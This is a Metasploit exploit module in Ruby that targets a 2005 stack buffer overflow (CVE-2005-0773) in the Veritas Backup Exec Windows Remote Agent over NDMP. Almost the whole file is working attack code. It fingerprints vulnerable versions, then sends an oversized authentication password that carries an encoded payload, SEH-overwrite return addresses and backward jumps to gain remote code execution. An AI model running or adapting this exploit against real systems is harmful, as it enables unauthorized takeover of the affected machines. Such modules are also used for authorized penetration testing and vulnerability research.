1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::NDMP
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in the Veritas
18
          BackupExec Windows Agent software. This vulnerability occurs
19
          when a client authentication request is received with type
20
          '3' and a long password argument. Reliable execution is
21
          obtained by abusing the stack buffer overflow to smash a SEH
22
          pointer.
23
        },
24
        'Author' => [ 'hdm' ],
25
        'License' => MSF_LICENSE,
26
        'References' => [
27
          [ 'CVE', '2005-0773'],
28
          [ 'OSVDB', '17624'],
29
          [ 'BID', '14022'],
30
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
31
        ],
32
        'Privileged' => true,
33
        'DefaultOptions' => {
34
          'EXITFUNC' => 'process',
35
        },
36
        'Payload' => {
37
          'Space' => 1024,
38
          'BadChars' => "\x00",
39
          'StackAdjustment' => -3500,
40
        },
41
        'Platform' => %w{win},
42
        'Targets' => [
43
          [
44
            'Veritas BE 9.0/9.1/10.0 (All Windows)',
45
            {
46
              'Platform' => 'win',
47
              'Rets' => [ 0x0140f8d5, 0x014261b0 ],
48
            },
49
          ],
50
          [
51
            'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
52
            {
53
              'Platform' => 'win',
54
              'Rets' => [ 0x75022ac4, 0x75022ac4 ],
55
            },
56
          ],
57
        ],
58
        'DefaultTarget' => 0,
59
        'DisclosureDate' => '2005-06-22',
60
        'Notes' => {
61
          'Reliability' => UNKNOWN_RELIABILITY,
62
          'Stability' => UNKNOWN_STABILITY,
63
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
64
        }
65
      )
66
    )
67

68
    register_options(
69
      [
70
        Opt::RPORT(10000)
71
      ]
72
    )
73
  end
74

75
  def check
76
    info = ndmp_info()
77
    if (info and info['Version'])
78
      vprint_status(" Vendor: #{info['Vendor']}")
79
      vprint_status("Product: #{info['Product']}")
80
      vprint_status("Version: #{info['Version']}")
81

82
      if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
83
        return Exploit::CheckCode::Appears
84
      end
85
    end
86
    return Exploit::CheckCode::Safe
87
  end
88

89
  def exploit
90
    connect
91

92
    print_status("Trying target #{target.name}...")
93

94
    resp = ndmp_recv()
95

96
    username = 'X' * 512
97
    password = rand_text_alphanumeric(8192)
98

99
    # Place our payload early in the request and jump backwards into it
100
    password[3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
101

102
    # This offset is required for version 10.0
103
    password[3536, 2] = "\xeb\x06"
104
    password[3540, 4] = [ target['Rets'][1] ].pack('V')
105
    password[3544, 5] = "\xe9" + [-1037].pack('V')
106

107
    # This offset is required for version 9.0/9.1
108
    password[4524, 2] = "\xeb\x06"
109
    password[4528, 4] = [ target['Rets'][0] ].pack('V')
110
    password[4532, 5] = "\xe9" + [-2025].pack('V')
111

112
    # Create the authentication request
113
    auth = [
114
      1, # Sequence number
115
      Time.now.to_i,   # Current time
116
      0,               # Message type (request)
117
      0x901,           # Message name (connect_client_auth)
118
      0,               # Reply sequence number
119
      0,               # Error status
120
      3                # Authentication type
121
    ].pack('NNNNNNN') +
122
           [ username.length ].pack('N') + username +
123
           [ password.length ].pack('N') + password +
124
           [ 4 ].pack('N')
125

126
    print_status("Sending authentication request...")
127
    ndmp_send(auth)
128

129
    # Attempt to read a reply (this should fail)
130
    ndmp_recv()
131

132
    handler
133
    disconnect
134
  end
135
end
136

137